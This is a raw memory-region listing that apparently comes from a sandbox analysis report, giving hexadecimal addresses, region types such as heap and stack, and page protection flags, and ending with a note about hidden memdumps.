page read and write
2894000
direct allocation
page read and write
3BDF000
stack
page read and write
319A000
heap
page read and write
2482A000
heap
page read and write
3251000
heap
page read and write
2484C000
heap
page read and write
422000
unkown
page write copy
4040000
heap
page read and write
5F85000
heap
page read and write
5F85000
heap
page read and write
20E6DF9C000
heap
page read and write
5F86000
heap
page read and write
660000
heap
page read and write
87F000
stack
page read and write
13EE000
stack
page read and write
33C0000
unkown
page readonly
2FF4000
heap
page read and write
20E72C00000
heap
page read and write
5DE000
heap
page read and write
636000
unkown
page execute and read and write
20E72C59000
heap
page read and write
2850000
heap
page read and write
30D4000
heap
page read and write
2FF4000
heap
page read and write
3251000
heap
page read and write
2FF4000
heap
page read and write
5F85000
heap
page read and write
310E000
stack
page read and write
20E72A20000
trusted library allocation
page read and write
A0A000
unkown
page write copy
4060000
heap
page read and write
2FF4000
heap
page read and write
2A880000
heap
page read and write
ADC000
stack
page read and write
6BF1E000
unkown
page read and write
34D0000
heap
page read and write
740000
heap
page read and write
316F000
stack
page read and write
298F000
stack
page read and write
30CA000
heap
page read and write
303C000
stack
page read and write
7BE0000
trusted library allocation
page read and write
ECD7B7B000
stack
page read and write
1585000
heap
page read and write
5D8000
heap
page read and write
105D6000
direct allocation
page readonly
25AD000
stack
page read and write
10163000
direct allocation
page read and write
28A3000
direct allocation
page read and write
76DE000
stack
page read and write
5F86000
heap
page read and write
345F000
stack
page read and write
33B0000
heap
page read and write
7970000
heap
page read and write
37F4B000
heap
page read and write
3474000
unkown
page read and write
2484B000
heap
page read and write
3251000
heap
page read and write
6BCA0000
unkown
page readonly
2C8B000
heap
page read and write
3251000
heap
page read and write
5FA5000
heap
page read and write
278B000
direct allocation
page read and write
1E23F000
stack
page read and write
68C39000
unkown
page write copy
32FF000
stack
page read and write
61E01000
direct allocation
page execute read
5F01000
heap
page read and write
1C50000
heap
page read and write
BEA000
heap
page read and write
40D0000
heap
page read and write
3910000
unkown
page read and write
24815000
heap
page read and write
2FF4000
heap
page read and write
7C40000
trusted library allocation
page read and write
41E000
unkown
page read and write
2FF4000
heap
page read and write
68C44000
unkown
page read and write
4FE000
stack
page read and write
27DD000
direct allocation
page read and write
3474000
unkown
page read and write
1660000
heap
page read and write
24845000
heap
page read and write
2DCE000
stack
page read and write
51C000
heap
page read and write
3251000
heap
page read and write
16D7000
heap
page read and write
5FDC000
heap
page read and write
327C000
stack
page read and write
2B70000
heap
page read and write
3251000
heap
page read and write
3A70000
heap
page read and write
4CBE000
stack
page read and write
41BE000
heap
page read and write
4046000
unkown
page readonly
3251000
heap
page read and write
4240000
heap
page read and write
24830000
heap
page read and write
30D5000
heap
page read and write
3470000
heap
page read and write
1560000
heap
page read and write
AC000
stack
page read and write
2FF4000
heap
page read and write
325C000
stack
page read and write
2FF4000
heap
page read and write
3474000
unkown
page read and write
228E000
stack
page read and write
30D0000
heap
page read and write
37FFB000
heap
page read and write
3251000
heap
page read and write
3251000
heap
page read and write
2054000
heap
page read and write
73C000
stack
page read and write
31AF000
stack
page read and write
2854000
direct allocation
page read and write
6140000
unkown
page read and write
1720000
heap
page read and write
400000
unkown
page readonly
400000
unkown
page readonly
628000
heap
page read and write
9D5000
heap
page read and write
There are 1863 hidden memdumps, click here to show them.